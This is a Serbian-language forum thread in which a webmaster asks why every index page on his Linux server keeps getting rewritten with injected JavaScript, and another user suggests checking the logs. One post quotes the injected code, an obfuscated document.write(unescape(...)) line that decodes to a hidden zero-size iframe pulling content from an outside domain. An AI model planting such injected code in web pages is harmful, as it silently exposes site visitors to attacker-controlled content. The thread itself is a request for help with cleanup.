[ jakov82 @ 15.12.2008. 09:55 ] @
Posedujem server na kome hostujem sajtove koje izradjujem. E sada, na tom serveru u određenom trenutku u toku dana neki virus , skripta ili sta vec, prepise mi sve index fajlove na serveru bez obzira da li su html ili php. U index fajlovima se pored mog sadrzaja pojave i neke java skripte. Tada sajt pocinje da baguje , da se prebaca ili uopšte neće da radi. Ostale strane sve regularno rade. Menjao sam ftp passworde, ponovo kucao kod i ništa nije pomoglo. Virus potiče sa sjta gamunkl.com i odvali me ves dve nedelje. Skoro svakog dana opstavljam prezentacije na serveru iz početka. Ako neko nešto zna... recite. Hvala
[ Jbyn4e @ 15.12.2008. 10:05 ] @
http://www.threatexpert.com/re...28ca01c8793986fbdcdff482f01c78

Je li to taj? Ako jeste - treba da ubijes virus na nekom od kompjutera (serveru, onom sa kog pristupas, nekom trecem...).
[ jakov82 @ 15.12.2008. 10:21 ] @
Server uopšte ne vidi bilo kakv virus , niti se u log fajlovima servera ne vidi neovlašćeni pristup. Serveri su na linuxu. Samo se u datom trenutku na svim index fjlovima na početku (pre <html>) ili na kraju html ispise java skripta

(document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%67%61%6D%75%6E%6B%75%6C%2E%63%6F%6D%2F%66%69%66%61%2F%69%6E%64%65%78%2E%70%68%70%22%20%77%69%64%74%68%3D%22%30%22%20%68%65%69%67%68%74%3$ )

i ja kada vidim da se to desilo, samo prepisem index stranu. Komp sa koga radim je preinstaliran a uz to održav i neke druge sajtove na drugim serverima i njima se nista nije desilo. Strasno konfuzno
[ Jbyn4e @ 15.12.2008. 14:25 ] @
Ako nije neovlasteno, onda je neko "ovlasteno" upao i promenio :)

Stvarno, pogledaj logove tog trenutka kad se sve desi. Koje sve logove imas?